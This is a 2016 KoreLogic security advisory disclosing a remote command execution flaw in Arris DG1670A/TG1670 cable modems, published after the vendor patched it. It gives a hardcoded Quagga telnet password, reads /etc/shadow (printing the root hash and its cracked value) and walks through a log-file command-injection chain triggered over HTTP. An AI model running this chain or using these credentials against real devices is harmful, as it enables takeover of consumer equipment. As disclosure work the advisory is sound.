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Date: Fri, 12 Feb 2016 14:06:08 -0600
From: KoreLogic Disclosures <disclosures@...elogic.com>
To: fulldisclosure@...lists.org, bugtraq@...urityfocus.com
Subject: KL-001-2016-001 : Arris DG1670A Cable Modem Remote Command Execution
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KL-001-2016-001 : Arris DG1670A Cable Modem Remote Command Execution
Title: Arris DG1670A Cable Modem Remote Command Execution
Advisory ID: KL-001-2016-001
Publication Date: 2016.02.12
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2016-001.txt
1. Vulnerability Details
Affected Vendor: Arris
Affected Product: Cable Modem
Affected Version: DG1670A, TG1670
Platform: Embedded Linux
CWE Classification: CWE-73: External Control of File Name or Path;
CWE-77: Improper Neutralization of Special Elements
used in a Command;
CWE-522: Insufficiently Protected Credentials
Impact: Arbitrary Code Execution
Attack vector: Telnet
CVE-ID: <Not yet assigned>
2. Vulnerability Description
The Arris DG1670A leverages a combination of technologies to
deliver the product functionality. Combining several of these
technologies in an unanticipated way will allow an attacker to
execute arbitrary commands on the underlying operating system as
the most privileged user.
3. Technical Description
Use the password: JhAkuo18
On August 28, 2015 a user on GitHub by the name of
GuerrillaWarfare posted a new repository named Junkyard. The
repository had firmware images for popular cable modems.
Repository: https://github.com/GuerrillaWarfare/Junkyard
Filename: TS0801102P_100714_NA.16XX.GW.ATOM.img
Below is the directory content of the squashfs-root directory
contained within the image:
# ls
bin etc gw.fsname include linuxrc nvram sbin share tmp var version
dev fss hdisk1 lib mnt proc scripts sys usr var.tar vop
The default IP address assigned to Arris modems is 192.168.100.1
and is routable from networks where the modem is attached. Below
is a Nmap output of services listening on the default IP address:
# sudo nmap -T5 -sU -sT -p- 192.168.100.1
Nmap scan report for 192.168.100.1
Host is up (0.0053s latency).
PORT STATE SERVICE VERSION
80/tcp open http lighttpd
443/tcp open ssl/http lighttpd
2602/tcp open ripd?
8080/tcp open http lighttpd
A service listening on port 2602 is usually associated with
Quagga. Going back to the squashfs-root directory, if we grep
through the content of this file system there are several .conf
files containing passwords. One of the files containing passwords
is zebra.conf, which can be used to authenticate to the Quagga
telnet console.
# grep -ri "password" *.conf|more
etc/default/ripngd.conf:password JhAkuo18
etc/default/zebra.conf:password JhAkuo18
etc/default/ripd.conf:password JhAkuo18
$ telnet 192.168.100.1 2602
Trying 192.168.100.1...
Connected to 192.168.100.1.
Escape character is '^]'.
Hello, this is Quagga (version 0.99.16).
Copyright 1996-2005 Kunihiro Ishiguro, et al.
User Access Verification
Password:
PROMPT>
Entering a '?' at any point gives context-sensitive help text.
There are several layers of 'privilege' though there are no
restrictions on elevating on this device. Quagga is an
open-source routing daemon commonly found in routers, access
points, and modems. In the case described, it has been implemented
on a cable modem to facilitate route provisioning from local ISP
to the public internet.
PROMPT> ?
echo Echo a message back to the vty
enable Turn on privileged mode command
exit Exit current mode and down to previous mode
help Description of the interactive help system
list Print command list
quit Exit current mode and down to previous mode
show Show running system information
terminal Set terminal line parameters
who Display who is on vty
PROMPT> enable
PROMPT# ?
clear Reset functions
configure Configuration from vty interface
copy Copy configuration
debug Debugging functions (see also 'undebug')
disable Turn off privileged mode command
echo Echo a message back to the vty
end End current mode and change to enable mode.
exit Exit current mode and down to previous mode
help Description of the interactive help system
list Print command list
logmsg Send a message to enabled logging destinations
no Negate a command or set its defaults
quit Exit current mode and down to previous mode
show Show running system information
terminal Set terminal line parameters
who Display who is on vty
write Write running configuration to memory, network, or terminal
PROMPT# configure ?
terminal Configuration terminal
PROMPT# configure terminal
PROMPT(config)# ?
access-list Add an access list entry
banner Set banner string
debug Debugging functions (see also 'undebug')
enable Modify enable password parameters
end End current mode and change to enable mode.
exit Exit current mode and down to previous mode
help Description of the interactive help system
hostname Set system's network name
interface Select an interface to configure
ip IP information
ipv6 IPv6 information
key Authentication key management
line Configure a terminal line
list Print command list
log Logging control
no Negate a command or set its defaults
password Assign the terminal connection password
quit Exit current mode and down to previous mode
route-map Create route-map or enter route-map command mode
router Enable a routing process
service Set up miscellaneous service
show Show running system information
write Write running configuration to memory, network, or terminal
The service message of the day banner can be abused to allow for
arbitrary file reading. Also, the logging mechanism can be abused
to allow for meaningful writes. The combination of these factors,
along with a lack of shell metacharacter filtering, will be used
to obtain remote command execution.
PROMPT(config)# banner motd file ?
file Banner from a file
PROMPT(config)# log file ?
FILENAME Logging filename
PROMPT(config)# exit
PROMPT# log notifications ?
MESSAGE The message to send
Reading arbitrary files:
PROMPT(config)# banner motd file /etc/shadow
# telnet 192.168.100.1 2602
Trying 192.168.100.1...
Connected to 192.168.100.1.
Escape character is '^]'.
root:$1$xQWhDWOr$FYNAc2DuT2Q45OY7s2R43/:10063:0:99999:7:::
User Access Verification
Password:
This password hash cracks to the word arris.
Meaningful file writes:
PROMPT# configure terminal
PROMPT(config)# banner motd file /var/tmp/kore-log.txt
PROMPT(config)# log file /var/tmp/kore-log.txt
PROMPT(config)# exit
PROMPT# log notifications KORELOGIC
# telnet 192.168.100.1 2602
Trying 192.168.100.1...
Connected to 192.168.100.1.
Escape character is '^]'.
2015/09/10 07:16:50 RIP: KORELOGIC
User Access Verification
Password:
It appears as though we can write to files. Further testing,
confirmed that file permissions (and read-only mounted filesystems)
heavily restrict the locations where writing is allowed.
There are several shell scripts in the web root.
# ls -la usr/www/*.sh
lrwxrwxrwx 1 root root 18 Sep 5 04:55 usr/www/guioff.sh -> /var/tmp/guioff.sh
lrwxrwxrwx 1 root root 17 Sep 5 04:55 usr/www/guion.sh -> /var/tmp/guion.sh
# cat var/tmp/guion.sh
echo 1 > /nvram/8/guiflag
# cat var/tmp/guioff.sh
echo 0 > /nvram/8/guiflag
The lighttpd.conf file indicates there is a handler defined for
shell scripts.
#ARRIS CHANGE BEGIN
#### CGI module
cgi.assign = ( ".pl" => "/usr/bin/perl",
".cgi" => "/usr/bin/perl",
".sh" => "/bin/sh",
"/walk" => "/fss/gw/usr/bin/web2snmp",
"/snmpSet" => "/fss/gw/usr/bin/web2snmp",
"/snmpGet" => "/fss/gw/usr/bin/web2snmp",
"/login" => "/fss/gw/usr/bin/web2snmp",
"/backup" => "/fss/gw/usr/bin/web2snmp",
"/restore" => "/fss/gw/usr/bin/web2snmp",
"/hsd" => "/fss/gw/usr/bin/web2snmp",
"/setPassword" => "/fss/gw/usr/bin/web2snmp",
# UNIHAN ADD START
"/storelog" => "/fss/gw/usr/bin/web2snmp",
"/checkPassword" => "/fss/gw/usr/bin/web2snmp"
# UNIHAN ADD END
)
PROMPT# configure terminal
PROMPT(config)# log file /var/tmp/guion.sh
PROMPT(config)# exit
PROMPT# log notifications | `/bin/busybox uname -a >> /var/tmp/shell.txt 2>&1`
PROMPT# configure terminal
PROMPT(config)# banner motd file /var/tmp/shell.txt
Followed by a GET request:
GET /guion.sh HTTP/1.1
Host: 192.168.100.1:8080
User-Agent: Mozilla/5.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
X-Requested-With: XMLHttpRequest
Connection: close
And response:
HTTP/1.1 200 OK
Content-Length: 0
Date: Wed, 09 Sep 2015 20:28:55 GMT
Server: lighttpd
Now we telnet:
$ telnet 192.168.100.1 2602
Trying 192.168.100.1...
Connected to 192.168.100.1.
Escape character is '^]'.
Linux ARRISGW 2.6.39.3 #1 PREEMPT Thu Nov 6 14:56:21 EST 2014 armv6b GNU/Linux
User Access Verification
Password:
Note that the current upstream version of Quagga does not appear
to be affected (tested against Quagga 0.99.24.1). First, the
daemon runs with dropped privileges for operations like reading
the motd file or writing logs. So, 'banner motd' cannot read a
root-only file such as /etc/shadow, and 'log file
/root/.ssh/authorized_keys' (for example) cannot write to a
root-only file. Furthermore, in the scenario outlined here,
triggering the shell commands written to the logfile required
an additional moving part - the lighttpd server - which is not
included in a Quagga install.
4. Mitigation and Remediation Recommendation
The vendor has issued a patch for this vulnerability. KoreLogic
wishes to thank Arris for their cooperation and attention to this
issue.
5. Credit
This vulnerability was discovered by Matt Bergin (@thatguylevel)
and Hank Leininger of KoreLogic, Inc.
6. Disclosure Timeline
2015.09.21 - KoreLogic sends vulnerability report and PoC to Arris.
2015.09.21 - Arris acknowledges receipt of vulnerability report.
2015.09.30 - Arris contacts KoreLogic to obtain additional details.
2015.10.08 - Arris updates KoreLogic indicating they are working on a fix.
2015.10.21 - Arris contacts KoreLogic to discuss the patch timeline.
2015.11.23 - Arris contacts KoreLogic to discuss the patch timeline.
2015.12.07 - KoreLogic requests CVE from Mitre.
2016.01.28 - KoreLogic contacts Arris to ensure patch is ready for release.
2016.01.29 - KoreLogic requests CVE from Mitre.
2016.02.08 - KoreLogic requests CVE from Mitre.
2016.02.12 - Arris informs KoreLogic that the patch has been released to
subscribers.
2016.02.12 - Coordinated Public Disclosure.
7. Proof of Concept
N/A
The contents of this advisory are copyright(c) 2016
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/
KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html
Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt
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